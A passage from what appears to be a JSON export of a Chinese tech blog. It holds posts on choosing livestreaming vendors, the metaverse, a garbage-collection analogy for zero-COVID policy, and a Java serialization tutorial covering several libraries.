就视频直播服务器的一个进程上来讲，我们可以认为一个推流端和多个播放端是一种非常典型的发布和订阅的关系。从下图可以看到，主播完成发布动作，这条直播内容也就是这一路流推动到服务器，三个观众也就是订阅者，从服务器拉流，也就是用播放动作来完成推流。这种进程内部、节点之间的发布、订阅关系是一种级联的关系，CDN 的直播分发就是依靠这种模式构建。\n方向选择 从成本上讲，直播系统的水比较深，如果自建背后有着惊人的成本，所以我们采用三方云服务。这里又分两种情况：\n在IaaS/PaaS基础上搭建直播平台\n用现成的IaaS/PaaS服务去搭建，核心服务器组由云计算服务商提供，不需要题主去费心了，但系统、网络部署还是要去做的。另外，考虑到平台的体量和需要用到的CDN数量，这种情况下是可以跟云计算服务商谈谈价格，用相对优惠的价格购买核心服务器组和足够的CDN节点。阿里云、腾讯云等都属于这种情况。这个方案的门槛要求相对前面要低一些，但也要有一定的系统部署能力\nApp开发方面，通常云计算服务商会提供API和SDK，题主可以在此基础上进行开发。\n需要多平台适配、App开发、测试等环节\n在SaaS基础上搭建直播平台\nSaaS类方案，简单地说就是买现成的服务，在这基础上增加功能或二次开发，这样一来，题主只需要跟SaaS服务商了解如何操作、讨论功能定制和开发，以及谈谈套餐、CDN节点的报价了。微吼、CC视频、保利威视等常见的视频服务都属于这种情况\n需要多平台适配、App开发、测试等环节\n总结来说：\n自建不太实现 云厂商把服务和SDK都做好了，属于半成品，需要我们自己接入进入定制开发。成本上降低了，但开发周期不一定短，因为团队之前没有相关经验，技术门槛还是比较高的。主要工作量在产品设计、UI、SDK集成开发。 找直播解决方案提供商，提供一站式解决方案。这个方案的门槛要求更低，但功能上没有自由开发定制程度高，受限于提供商提供的功能。集成SAAS层的平台费用会比半成品要高一些，但省去了人力成本，缩短了工期。 系统架构 如果采用接入云厂商SDK模式，可以参考阿里云的架构：\n开发 方向选择 接入云厂商SDK 如阿里云 找直播解决方案提供商，提供SaaS服务 云厂商：\n阿里云视频直播服务目前可以免费试用 ：https://free.aliyun.com/product/cdnfree\n华为云视频直播服务：https://console.huaweicloud.com/live2/?region=cn-north-4#/live/home\n腾讯云云直播服务https://cloud.tencent.com/product/css\n腾讯云的架构如下：\n百度云音视频直播：https://cloud.baidu.com/doc/LSS/index.html\n网易云信互动直播：https://yunxin.163.com/interact\n金山云直播：https://www.ksyun.com/nv/product/KLS.html\n七牛云视频直播：https://www.qiniu.com/products/pili\n七牛云产品架构：\n云厂商带解决方案的：\n金山云直播电商解决方案 https://www.ksyun.com/nv/solution/E-Commerce.html 阿里云也有电商视频直播解决方案：https://cn.aliyun.com/solution/ecommerce/medialive，但目前不知道包含什么内容。方案架构类似如下2图： SaaS服务\n保利威：https://www.polyv.net/solution/marketing/ 微吼：https://www.vhall.com/ 总结：整体看下来，云厂商的开发成本和时间成本总体加起来并不低，SaaS服务虽然价格略高，但整体成本较小，与系统耦合度不大。\n参考 https://jishuin.proginn.com/p/763bfbd2de26 https://www.zhihu.com/question/42162310 https://juejin.cn/post/6844904104083324941 https://help.aliyun.com/product/29949.html https://blog.csdn.net/huwei2003/article/details/54599152 ","date":"2022-05-16T10:13:27Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-05-16-dian-shang-zhi-bo-jie-jue-fang-an-diao-yan/cover.jpg","permalink":"/p/2022-05-16-dian-shang-zhi-bo-jie-jue-fang-an-diao-yan/","title":"电商直播解决方案调研"},{"content":"数字资产交易正在改变我们与周围环境互动的方式无论线上还是线下，并催生了一个人人都可以参与的、虚拟化、去中心化资本主义的新时代。\n什么是元宇宙？元宇宙的想法已经存在了二十多年，但直到最近我们才开始看到它的功能在区块链技术中实现。随着资产和经济体的代币化，你在网上与之互动的一切都可以开始类似于你在虚拟世界中身份的延伸，拥有可以购买、出售、交易、用于游戏目的等的数字资产和物品。\nMetaverse被认为是一个生态系统，所有这些虚拟世界都通过互联网连接在一起；这是一个宇宙的宇宙，它催生了整个虚拟资产经济。一些人将其解读为互联网的下一个阶段——信息网络，而另一些人将其与社交媒体网络Facebook进行比较，但Metaverse将两者结合在一起，而且更多。\n元宇宙将在我们的日常生活中变得越来越重要 区块链将不可避免地构成我们整个生活的数字记录。有朝一日，我们的身份、业务、我们拥有或与之互动的一切都可能存储在区块链账本上。有了Metaverse，你使用的每一项资产，从牙刷到房子，都可以有自己的虚拟表现。我不知道你为什么想在区块链上使用牙刷。但这并不意味着它不会发生。\n在未来，数字资产将变得司空见惯，这也意味着你最终可以拥有自己的数据。为什么Facebook可以保存你在他们网站上发布的所有信息？谷歌为什么要阻止开发者使用你放在网上的内容，然后卖给广告商？在基于区块链的技术下，这些平台的用户可以直接交互并拥有自己的数据。\n您甚至可以使用数字资产进行支付或接收支付，Metaverse将实现不同平台之间的无缝互操作。总有一天，你醒来时可能会看到一个新“出生”的化身（你自己创造的），因此，他们将无法与普通人区分开来\u0026hellip;\u0026hellip;甚至可能是名人。\n想像一下，如果你拥有勒布朗詹姆斯数字化身的一小部分，而他允许你在特定平台上交易该资产？如果你的数字化身是目前在 Instagram 上宣传产品的模特，但不是以美元或欧元支付，而是以数字代币支付？化身的客户（付钱给他们的人）可以购买游戏中的物品来增强化身的形象，或者当他们的肖像在其他平台上使用（如在动画中呈现）时，化身可能会获得版税。突然，你的数字自我有了真正的价值。当考虑到区块链是可编程的并且数字资产可以用于更多目的而不仅仅是金融交易时，上面想像的这一切都是可能的。\n无宇宙将如何让非边缘场景用户受益于区块链技术？ 元宇宙是从代币化演变而来的——token 可以代表许多不同类型的资产，基于所有这些数据的实现其可能性是无穷无尽的。我们不仅能够在虚拟世界中使用化身——鉴于它们存储在可编程区块链上，它们还能够代表任何有价值的东西，并将价值分配给以前贬值的类别。\n这也包括我们目前掌握在大公司手中的所有在线数据。未来，随着更多数据的产生，以及我们的设备变得越来越相互连接，对处理能力的需求将越来越大。如果你要开发一个能够处理大量数据的平台，你还需要巨大的计算能力。这需要一个完全分布式的互联网架构，区块链提供了这个解决方案。\n我们生活在一个被虚拟对象和服务包围的世界，在未来，这种情况将更加普遍。从我们的浏览历史到我们发布的所有推文，也产生了大量数据，而我们无法控制这些数据。如果你在Twitter上关注某人或在虚拟世界中与他们的化身互动，他们可能会想从中赚钱。\n现有的大多数虚拟世界都建立在大公司的基础设施之上，因此开发者必须支付相当大的费用来存储他们的化身和数据。有了区块链上的代币，就不再需要集中式服务器——Metaverse可以自由使用，任何人都可以访问。它带来了权力下放带来的所有承诺：抵制审查、透明度、不变的账本等等。\n翻译自：https://pizzaparty.substack.com/p/the-metaverse-abstracted-reality?s=r\n","date":"2022-05-15T09:47:37Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-05-15-yuan-yu-zhou-chou-xiang-xian-shi-he-dai-bi-hua-sheng-huo-de-/cover.jpg","permalink":"/p/2022-05-15-yuan-yu-zhou-chou-xiang-xian-shi-he-dai-bi-hua-sheng-huo-de/","title":"元宇宙：抽象现实和代币化生活的未来"},{"content":"GC(垃圾回收)的原因是：总会有垃圾出现需要回收，释放内存。\n动态清零的原因是：总有感染者出现，需要控制。\n目前看来，动态清零用的方法是 Mark-Sweep，即标记（核酸）-清理（方舱）\n类比垃圾回收器有点儿像 CMS，但由于内部网格化管理 实际上更像G1 这种分区回收的垃圾回收器，比如上海。\n我们都知道无论是CMS还是G1都会有STW（stop the world），垃圾回收器们一般都是在高吞吐和低延迟之间做权衡。没有最好，只有最合适。\n然而动态清零看起来却不是，这是个区别，它有着明显的停顿（STW），又有着比较低的吞吐。希望能够在算法上进行优化，我们的特点是内存大（人口基数大），是不是可以借鉴ZGC，ZGC 和 G1 一样是基于 reigon 的，几乎所有阶段都是并发的，整堆扫描，部分收集。它的停顿时间也明显优于G1和CMS。\n目前来看北京的模式有点儿像ZGC 的特点，整堆扫描（核酸），部分收集（封控）。\n另外从隔离性上讲，上海类似 docker，把自己整体容器化，资源隔离了，北京类似K8S的 Pod，对外还能保证可用性，只不过部分Pod 可能会出现问题，那就解决Pod的问题就好了。只要不全挂 ，因为没有冗余设备（也不可能有）。\n看来动态清零是一个长期的事儿了，就像GC虽然程序员不需要时刻注意垃圾回收的问题，但它一直在后台默默运行着，帮我们解决着内存回收的问题。希望动态清零也能够优化到“静默”运行，在高吞吐和低延迟间做好 trade off。\n我们能够接受和它长期并存，现实世界不是程序，希望它能够少些 STW，祝所有“容器化”的朋友们好运，宿主机会好的，等待你们重启的那一天。祝所有人平安、健康。\n","date":"2022-05-09T10:56:47Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-05-09-dong-tai-qing-ling-zhe-bu-jiu-shi-gc-ma/cover.jpg","permalink":"/p/2022-05-09-dong-tai-qing-ling-zhe-bu-jiu-shi-gc-ma/","title":"动态清零？ 这不就是GC吗"},{"content":"Questions 序列化与反序列化是什么？ 序列化 对象序列化的最主要的用处就是在传递和保存对象的时候，保证对象的完整性和可传递性。序列化是把对象转换成有序字节流，以便在网络上传输或者保存在本地文件中。核心作用是对象状态的保存与重建。 反序列化 客户端从文件中或网络上获得序列化后的对象字节流，根据字节流中所保存的对象状态及描述信息，通过反序列化重建对象。 为什么需要序列化与反序列化？ 对象序列化可以实现分布式对象。\n主要应用例如：RMI（即远程调用 Remote Method Invocation) 要利用对象序列化运行远程主机上的服务，就像在本地机上运行对象时一样。\njava 对象序列化不仅保留一个对象的数据，而且递归保存对象引用的每个对象的数据。\n可以将整个对象层次写入字节流中，可以保存在文件中或在网络连接上传递。利用对象序列化可以进行对象的\u0026quot;深复制\u0026quot;，即复制对象本身及引用的对象本身。序列化一个对象可能得到整个对象序列。\n序列化可以将内存中的类写入文件或数据库中。\n比如：将某个类序列化后存为文件，下次读取时只需将文件中的数据反序列化就可以将原先的类还原到内存中。也可以将类序列化为流数据进行传输。\n总的来说就是将一个已经实例化的类转成文件存储，下次需要实例化的时候只要反序列化即可将类实例化到内存中并保留序列化时类中的所有变量和状态。\n对象、文件、数据，有许多不同的格式，很难统一传输和保存。\n序列化以后就都是字节流了，无论原来是什么东西，都能变成一样的东西，就可以进行通用的格式传输或保存，传输结束以后，要再次使用，就进行反序列化还原，这样对象还是对象，文件还是文件。\n如何实现 Java 序列化与反序列化 只有实现 Serializable 或 Externalizable 接口的类的对象才能被序列化\n实现 Serializabel 接口 让可序列化的对象实现 Serializable 接口，然后再创建一个 ObjectOutputStream 输出流，再调用 ObjectOutputStream 对象的 writeObject() 方法进行输出可序列化对象即可\n1public class Person implements Serializable { 2 3 private String name; 4 5 private int age; 6 7 public Person() { 8 } 9 10 public Person(String name, int age) { 11 this.name = name; 12 this.age = age; 13 } 14 15 @Override 16 public String toString() { 17 return \u0026#34;Person{\u0026#34; + 18 \u0026#34;name=\u0026#39;\u0026#34; + name + \u0026#39;\\\u0026#39;\u0026#39; + 19 \u0026#34;, age=\u0026#34; + age + 20 \u0026#39;}\u0026#39;; 21 } 22 23 public static void main(String[] args) throws IOException { 24 25 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 26 27 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\u0026#34;/Users/xxx/logs/person.txt\u0026#34;)); 28 // 写入对象 29 oos.writeObject(person); 30 oos.close(); 31 } 32} 此外，在实现 Serializable 接口的同时，还可以重写 writeObject() 和 readObject() 方法，这样一旦对象被序列化或被反序列化，就会自动的调用这两个方法，而不会使用默认的序列化机制。\n1private void writeObject(ObjectOutputStream out) throws IOException{ 2 out.defaultWriteObject(); 3 //... 4 System.out.println(\u0026#34;自定义序列化方法\u0026#34;); 5 } 6 7 private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException{ 8 in.defaultReadObject(); 9 //... 10 System.out.println(\u0026#34;自定义反序列化方法\u0026#34;); 11 } 还有其他三个方法，可供我们定制自己的序列化反序列化过程：\nreadObjectNoData() : 用于初始化反序列化对象，当发生一些情况导致反序列化对象不能获得数据时调用； writeReplace() ：指派其他对象写入序列化的流中； readResolve()：返回的对象替换反序列化创建的实例； 反序列化对象时，需要创建一个 ObjectInputStream 输入流，然后调用ObjectInputStream对象的 readObject() 方法得到序列化的对象即可。\n1 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(\u0026#34;/Users/helong/logs/person.txt\u0026#34;)); 2 Person p = (Person) ois.readObject(); 3 System.out.println(p); 需要注意的是：\n反序列化的对象是由 JVM 自己生成的对象，而不会通过构造方法生成。 如果对同一对象执行多次序列化操作，并不会得到多个对象。因为保存到磁盘的对象都有一个序列化编号，当程序试图进行序列化时，会检查该对象是否序列化过，只有该对象从未被序列化过，才会将此对象序列化为字节序列，如果此对象已经序列化过，则直接输出其序列化编号 如果一个可序列化的类的成员不是基本类型，而是引用类型，则这个引用类型也必须实现 Serializable 接口。 transient 对于不想序列化的字段可以再字段类型之前加上 transient 关键字修饰（反序列化时会被赋予默认值）\n1 private transient int age; 此时将其进行反序列化后，如果该属性是引用数据类型，则返回的是 null，如果该属性是基本数据类型（如 int 类型），则会返回默认值 0（boolean 的默认值是 false）\n服务器端给客户端发送序列化对象数据时，对象中有一些数据是敏感的（比如密码字符串等），如果希望对该密码字段在序列化时进行加密，而客户端如果拥有解密的密钥，只有在客户端进行反序列化时，才可以对密码进行读取，这样可以一定程度保证序列化对象的数据安全。\nserialVersionUID 在进行序列化时，会把当前类的serialVersionUID写入到字节序列中（也会写入序列化的文件中），在反序列化时会将字节流中的serialVersionUID同本地对象中的serialVersionUID进行对比，一样的话进行反序列化，不一致则失败报错（报InvalidCastException异常）\nserialVersionUID 如果不显式指定，VM 默认生成一个（耗费资源），如同上文中的程序。\nserialVersionUID的生成有三种方式（private static final long serialVersionUID = -85899347900852467L）：\n显式声明：默认的 1L 显式声明：根据包名、类名、继承关系、非私有的方法和属性以及参数、返回值等诸多因素计算出的 64 位的 hash 值 隐式声明：未显式的声明serialVersionUID时 java 序列化机制会根据 Class 自动生成一个serialVersionUID（最好不要这样，因为如果 Class 发生变化，比如新增或修改了属性，自动生成的serialVersionUID可能会随之发生变化，导致匹配不上） 序列化类增加属性时，最好不要修改serialVersionUID，避免反序列化失败\nExternalizable 自定义序列化的策略\n如果我们在序列化的过程中有一些别的需求，或者说，我们希望对象的一部分可以被序列化，而另一部分不被序列化，此时可以实现 Externalizable 接口，并且实现它的两个方法：writeExternal() 和 readExternal()，这两个方法会在序列化和反序列化的过程中被自动调用以便执行一些特殊的操作。\n需要注意的是：\n如果一个类实现了 Serializable 接口，此时对于 Serializable 对象，其对象是与二进制位的构建有关的，而不会调用构造器（正如之前的例子可知）； 而对于一个 Externalizable 对象，其所有的构造函数都会被调用，因此需要给出类的无参和有参构造才可以。 1import java.io.*; 2 3public class ExPerson implements Externalizable { 4 private String name; 5 private int age; 6 7 public ExPerson() { 8 System.out.println(\u0026#34;无参构造。\u0026#34;); 9 } 10 11 public ExPerson(String name, int age) { 12 this.name = name; 13 this.age = age; 14 System.out.println(\u0026#34;有参构造。\u0026#34;); 15 } 16 17 @Override 18 public String toString() { 19 return name + age; 20 } 21 22 @Override 23 public void writeExternal(ObjectOutput out) throws IOException { 24 System.out.println(\u0026#34;writeExternal() method.\u0026#34;); 25 out.writeObject(name); 26 out.writeInt(age); 27 } 28 29 @Override 30 public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException { 31 System.out.println(\u0026#34;readExternal() method.\u0026#34;); 32 name = (String) in.readObject(); 33 age = in.readInt(); 34 } 35 36 public static void main(String[] args) throws IOException, ClassNotFoundException { 37 ExPerson exPerson = new ExPerson(\u0026#34;zhangsan\u0026#34;, 25); 38 System.out.println(exPerson); 39 // 序列化 40 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\u0026#34;123.txt\u0026#34;)); 41 System.out.println(\u0026#34;保存对象：\u0026#34;); 42 oos.writeObject(exPerson); 43 oos.close(); 44 45 // 反序列化 46 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(\u0026#34;123.txt\u0026#34;)); 47 System.out.println(\u0026#34;接收对象：\u0026#34;); 48 exPerson = (ExPerson) ois.readObject(); 49 System.out.println(exPerson); 50 } 51} 总结：使用 Externalizable 进行序列化时，当读取对象时，会调用被序列化类的无参构造器去创建一个新的对象，然后再将被保存对象的字段的值分别填充到新对象中。因此，必须提供一个无参构造器，访问权限为 public；否则会抛出 java.io.InvalidClassException 异常。\n静态变量 对象序列化时并不会序列化静态变量，这是因为对象序列化操作是序列化的是对象的状态，而静态变量属于类变量，也就是类的状态。因此，对象序列化并不会保存静态的变量。序列化保存的是对象的状态，而静态变量属于类的状态。\n对单例的影响 序列化会通过反射调用无参的构造方法创建一个新的对象，所以序列化会破坏单例模式。\n解决办法是：在单例类中手写 readResolve() 函数，直接返回单例对象：\n1public class Singleton implements Serializable { 2 3 private static final long serialVersionUID = -1576643344804979563L; 4 5 private Singleton() { 6 } 7 8 private static class SingletonHolder { 9 private static final Singleton singleton = new Singleton(); 10 } 11 12 public static synchronized Singleton getSingleton() { 13 return SingletonHolder.singleton; 14 } 15 16 private Object readResolve() { 17 return SingletonHolder.singleton; 18 } 19} 这样一来，当反序列化从流中读取对象时，readResolve() 会被调用，用其中返回的对象替代反序列化新建的对象。\n其他序列化方式 JSON 序列化 主流的库有\nGson fastJson Jackson fastJson 是阿里巴巴的开源 JSON 解析库。\n1 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 2 String str = JSON.toJSONString(person); 3 System.out.println(str); 4 5 Person person1 = JSON.parseObject(str, Person.class); 6 System.out.println(person1); 7 8 输出 ======== 9 {\u0026#34;age\u0026#34;:18,\u0026#34;name\u0026#34;:\u0026#34;张三\u0026#34;} 10 Person(name=张三，age=18) Gson 是 Google 公司发布的一个开源的 Java 库，也是一个高效的 JAVA 对象序列化、反序列化框架\n1 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 2 3 Gson gson=new Gson(); 4 String json=gson.toJson(person); 5 log.info(\u0026#34;json={}\u0026#34;,json); 6 7 Person person2=gson.fromJson(json,Person.class); 8 log.info(\u0026#34;person2={}\u0026#34;,person2); Jackson 也是 java 语言实现的开源工具，它是 Spring 中 Json 的默认实现，虽然多年未维护了，但依旧使用广泛。\n有三个核心模块\nStreaming (jackson-core 包）：定义了低级流式 API，包括了特定 json 的实现。 Annotations (jackson-annotations 包）：包含标准的 Jackson 注解。 Databind (jackson-databind 包）：实现了数据绑定，依赖于 Streaming 和 Annotations。（导入 jackson-databind 包会自动导入其他两个包） 1 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 2 3 ObjectMapper objectMapper = new ObjectMapper(); 4 String str = objectMapper.writeValueAsString(person); 5 6 log.info(\u0026#34;str = {}\u0026#34;, str); 7 8 Person person1 = objectMapper.readValue(str, Person.class); 9 log.info(\u0026#34;person1 = {}\u0026#34;, person1); Hessian Hessian 是一个基于二进制的协议，Hessian 支持很多种语言，例如 Java、python、c++,、net/c#、D、Erlang、PHP、Ruby、object-c 等，它的序列化和反序列化也是非常高效，与 Java 原生序列化一样，被序列化/反序列化的对象也必须实现 Serializable 接口，实现代码的写法也很像 Java 原生序列化。\n注意：\nhessian 是一个轻量级的 RPC 框架，序列化只是其中的功能之一，其通讯效率高于 WebService 和 Java 自带的序列化 hessian 同时也是一个远程通信的协议，Dubbo 基于 Hessian 实现了自己的 Hessian 协议，可以直接通过 Dubbo 进行远程调用 1 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 2 3 ByteArrayOutputStream os = new ByteArrayOutputStream(); 4 //Hessian 的序列化输出 5 HessianOutput ho = new HessianOutput(os); 6 ho.writeObject(person); 7 byte[] bytes = os.toByteArray(); 8 log.info(\u0026#34;bytes={}\u0026#34;, bytes); 9 10 //Hessian 的反序列化输出 11 ByteArrayInputStream is = new ByteArrayInputStream(bytes); 12 HessianInput ho2 = new HessianInput(is); 13 Person person2 = (Person) ho2.readObject(); 14 log.info(\u0026#34;person2={}\u0026#34;, person2); 15 Kryo Kryo 是一个快速高效的 Java 序列化框架，旨在提供快速、高效和易用的 API。无论文件、数据库或网络数据 Kryo 都可以随时完成序列化。Kryo 还可以执行自动深拷贝（克隆）、浅拷贝（克隆）。这是对象到对象的直接拷贝，而不是对象-\u0026gt;字节-\u0026gt;对象的拷贝。\nKryo 是一种非常成熟的序列化实现，已经在 Twitter、Groupon、Yahoo 以及多个著名开源项目（如 Hive、Storm）中广泛的使用。\ndubbo RPC 默认的序列化用的是 hessian2，未来，当 Kryo 或者 FST 在 dubbo 中当应用足够成熟之后，dubbo 很可能会将 dubbo RPC 的默认序列化从 hessian2 改为它们中间的某一个。\n1 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 2 3 Kryo kryo = new Kryo(); 4 kryo.register(Person.class); 5 6 Output output = new Output(1024, -1); 7 kryo.writeObject(output, person); 8 9 Input input = new Input(output.getBuffer(), 0, output.position()); 10 Person object2 = kryo.readObject(input, Person.class); 11 log.info(\u0026#34;object2 = {}\u0026#34;, object2); Kryo 自带了很多 java 基本类的 Serializer，所以尽管不知道 Serializer，Kryo 也会自动匹配：\n1 Kryo kryo=new Kryo(); 2 HashMap h=new HashMap(); 3 h.put(\u0026#34;k1\u0026#34;, \u0026#34;v1\u0026#34;); 4 h.put(\u0026#34;k2\u0026#34;, \u0026#34;v2\u0026#34;); 5 Output output=new Output(1, 1024); 6 kryo.writeObject(output, h); 7 output.close(); 8 byte[] data=output.toBytes(); 9 10 Input i=new Input(data); 11 i.close(); 12 HashMap h2= (HashMap)kryo.readObject(i, HashMap.class); 13 System.out.println(h2.get(\u0026#34;k2\u0026#34;)); 虽然 kryo 的性能很好，但目前来看在类似 SpringBoot SpringCloud 的应用中还没有实践，例如 springCloud 默认是利用 jackson（当然你也可以换成 fastJson）来进行的序列化。可能的是因为：\n有改造成本，而且越底层的东西改造成本越高，搞不好就崩了，不能轻易动 远程通信的量在没有那么大情况下，一般来说 json 的性能并不是瓶颈。所以在序列化不是瓶颈的情况下也没有驱动力改。但如果序列化是瓶颈的地方，可能也就不用 Json 而改换其他协议了，比如二进制协议。 目前来看 kryo 的应用可以在与 Redis 的应用交互上。像 Redis 这样的存储工具，是可以安全地存储二进制数据的，所以可以直接把 Kryo 序列化出来的数据存进去。这里 有一个例子。\nMessagePack “\nIt’s like JSON.but fast and small.\n”\nMessagePack 是一个高效的二进制序列化格式。它让你像 JSON 一样可以在各种语言之间交换数据。但是它比 JSON 更快、更小。小的整数会被编码成一个字节，短的字符串仅仅只需要比它的长度多一字节的大小。\n注意，使用 messagePack 需要加 @message 注释\n1@Data 2@Message 3public class Person implements Serializable { 4 5 private static final long serialVersionUID = -2008259768794734414L; 6 7 private String name; 8 9 private int age; 10 11 public Person() { 12 } 13 14 public Person(String name, int age) { 15 this.name = name; 16 this.age = age; 17 } 18} 19 20 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 21 22 MessagePack messagePack = new MessagePack(); 23 //序列化 24 byte[] bs = messagePack.write(person); 25 System.out.println(\u0026#34;byte array\u0026#39;s length is : \u0026#34; + bs.length); 26 //反序列化 27 Person person1 = messagePack.read(bs, Person.class); 28 System.out.println(person1); FST FST 序列化全称是 Fast Serialization Tool，它是对 Java 序列化的替换实现。既然前文中提到 Java 序列化的两点严重不足，在 FST 中得到了较大的改善，FST 的特征如下：\nJDK 提供的序列化提升了 10 倍，体积也减少 3-4 倍多 支持堆外 Maps，和堆外 Maps 的持久化 支持序列化为 JSON 1FSTConfiguration conf = FSTConfiguration.createAndroidDefaultConfiguration(); 2 3 Person person = new Person(\u0026#34;张三\u0026#34;, 18); 4 byte[] bytes = conf.asByteArray(person); 5 Person newObject = (Person) conf.asObject(bytes); 6 System.out.println(\u0026#34;deSerialization, \u0026#34; + newObject); Dubbo 中对 FstObjectInput 和 FstObjectOutput 重新包装解决了序列化和反序列化空指针的问题。\n并且构造了 FstFactory 工厂类，使用工厂模式生成 FstObjectInput 和 FstObjectOutput。其中同时使用单例模式，控制整个应用中 FstConfiguration 是单例，并且在初始化时将需要序列化的对象全部注册到 FstConfiguration。\n对外提供了统一的序列化接口 FstSerialization，提供 serialize 和 deserialize 能力。\nProtobuf Protocol buffers 是由 Google 公司发布的数据交换格式，提供跨语言、跨平台的序列化和反序列化实现，底层由 C++实现\n基于 java 使用 protobuf 还是有些麻烦的，可以参考：https://developers.google.com/protocol-buffers/docs/javatutorial\n步骤是：\n定义 .proto 文件 编译 proto 文件 利用 protobuf API 开始读写 引入\n1\u0026lt;properties\u0026gt; 2 \u0026lt;protoc.version\u0026gt;3.17.2\u0026lt;/protoc.version\u0026gt; 3\u0026lt;/properties\u0026gt; 4 5\u0026lt;dependencies\u0026gt; 6 7 \u0026lt;dependency\u0026gt; 8 \u0026lt;groupId\u0026gt;com.google.protobuf\u0026lt;/groupId\u0026gt; 9 \u0026lt;artifactId\u0026gt;protobuf-java\u0026lt;/artifactId\u0026gt; 10 \u0026lt;version\u0026gt;${protoc.version}\u0026lt;/version\u0026gt; 11 \u0026lt;/dependency\u0026gt; 12\u0026lt;/dependencies\u0026gt; 在 src/main 下新建目录 proto，proto 目录下新建文件student.proto\n1syntax=\u0026#34;proto3\u0026#34;; 2 3option java_package=\u0026#34;com.example.proto\u0026#34;; 4option java_multiple_files = false; 5option java_outer_classname=\u0026#34;StudentProto\u0026#34;; 6 7message Student { 8 9 int32 id = 1; 10 11 string name = 2; 12 13 string email = 3; 14 15 string friends = 4; 16} 17 18message StudentArray { 19 repeated Student student = 1; 20} 下载 protoc，使用 protoc 命令编译 proto 文件，编译到 java 目录下\n1protoc student.proto --java_out=../java/ 使用 mvn protobuf:compile编译 proto 文件\n1\u0026lt;properties\u0026gt; 2 \u0026lt;protoc.version\u0026gt;3.17.2\u0026lt;/protoc.version\u0026gt; 3\u0026lt;/properties\u0026gt; 4 5\u0026lt;dependencies\u0026gt; 6 7 \u0026lt;dependency\u0026gt; 8 \u0026lt;groupId\u0026gt;com.google.protobuf\u0026lt;/groupId\u0026gt; 9 \u0026lt;artifactId\u0026gt;protobuf-java\u0026lt;/artifactId\u0026gt; 10 \u0026lt;version\u0026gt;${protoc.version}\u0026lt;/version\u0026gt; 11 \u0026lt;/dependency\u0026gt; 12\u0026lt;/dependencies\u0026gt; 13 14\u0026lt;build\u0026gt; 15 \u0026lt;extensions\u0026gt; 16 \u0026lt;extension\u0026gt; 17 \u0026lt;groupId\u0026gt;kr.motd.maven\u0026lt;/groupId\u0026gt; 18 \u0026lt;artifactId\u0026gt;os-maven-plugin\u0026lt;/artifactId\u0026gt; 19 \u0026lt;version\u0026gt;1.5.0.Final\u0026lt;/version\u0026gt; 20 \u0026lt;/extension\u0026gt; 21 \u0026lt;/extensions\u0026gt; 22 \u0026lt;plugins\u0026gt; 23 \u0026lt;plugin\u0026gt; 24 \u0026lt;groupId\u0026gt;org.xolstice.maven.plugins\u0026lt;/groupId\u0026gt; 25 \u0026lt;artifactId\u0026gt;protobuf-maven-plugin\u0026lt;/artifactId\u0026gt; 26 \u0026lt;version\u0026gt;0.5.1\u0026lt;/version\u0026gt; 27 \u0026lt;extensions\u0026gt;true\u0026lt;/extensions\u0026gt; 28 \u0026lt;configuration\u0026gt; 29 \u0026lt;protocArtifact\u0026gt;com.google.protobuf:protoc:${protoc.version}:exe:${os.detected.classifier}\u0026lt;/protocArtifact\u0026gt; 30 \u0026lt;pluginId\u0026gt;protoc-java\u0026lt;/pluginId\u0026gt; 31 \u0026lt;protoSourceRoot\u0026gt;${project.basedir}/src/main/proto\u0026lt;/protoSourceRoot\u0026gt; 32 \u0026lt;outputDirectory\u0026gt;${project.build.sourceDirectory}\u0026lt;/outputDirectory\u0026gt; 33 \u0026lt;clearOutputDirectory\u0026gt;false\u0026lt;/clearOutputDirectory\u0026gt; 34 \u0026lt;/configuration\u0026gt; 35 \u0026lt;executions\u0026gt; 36 \u0026lt;execution\u0026gt; 37 \u0026lt;goals\u0026gt; 38 \u0026lt;goal\u0026gt;compile\u0026lt;/goal\u0026gt; 39 \u0026lt;/goals\u0026gt; 40 \u0026lt;/execution\u0026gt; 41 \u0026lt;/executions\u0026gt; 42 \u0026lt;/plugin\u0026gt; 43 \u0026lt;/plugins\u0026gt; 44\u0026lt;/build\u0026gt; 使用\n1@Test 2public void test1() throws InvalidProtocolBufferException { 3 StudentProto.Student student1 = StudentProto.Student.newBuilder() 4 .setId(10) 5 .setName(\u0026#34;zhangsan\u0026#34;) 6 .setEmail(\u0026#34;activepirate@163.com\u0026#34;) 7 .setFriends(\u0026#34;lisi\u0026#34;) 8 .build(); 9 10 // byte[] studentBytes1 = student1.toByteArray(); 11 // System.out.println(new String(studentBytes1)); 12 13 StudentProto.Student student2 = StudentProto.Student.newBuilder() 14 .setId(11) 15 .setName(\u0026#34;zhangsan\u0026#34;) 16 .setEmail(\u0026#34;activepirate@163.com\u0026#34;) 17 .setFriends(\u0026#34;lisi\u0026#34;) 18 .build(); 19 20 StudentProto.StudentArray studentArray = StudentProto.StudentArray.newBuilder() 21 .addStudent(student1) 22 .addStudent(student2) 23 .build(); 24 25 byte[] bytes = studentArray.toByteArray(); 26 System.out.println(new String(bytes)); 27 28 List\u0026lt;StudentProto.Student\u0026gt; studentList = StudentProto.StudentArray.newBuilder().mergeFrom(bytes).build().getStudentList(); 29} protobuf 优缺点：\n优点：\n性能好/效率高\n时间开销：XML 格式化（序列化）的开销还好；但是 XML 解析（反序列化）的开销就不敢恭维了。但是 protobuf 在这个方面就进行了优化。可以使序列化和反序列化的时间开销都减短。空间开销：也减少了很多\n有代码生成机制\n比如你你写个一下类似结构体的内容\n1 message testA 2 { 3 4 required int32 m_testA = 1; 5 6 } 7 8像写一个这样的结构，protobuf 可以自动生成它的。h 文件和点。cpp 文件。protobuf 将对结构体 testA 的操作封装成一个类。 支持向后兼容和向前兼容\n当客户端和服务器同事使用一块协议的时候， 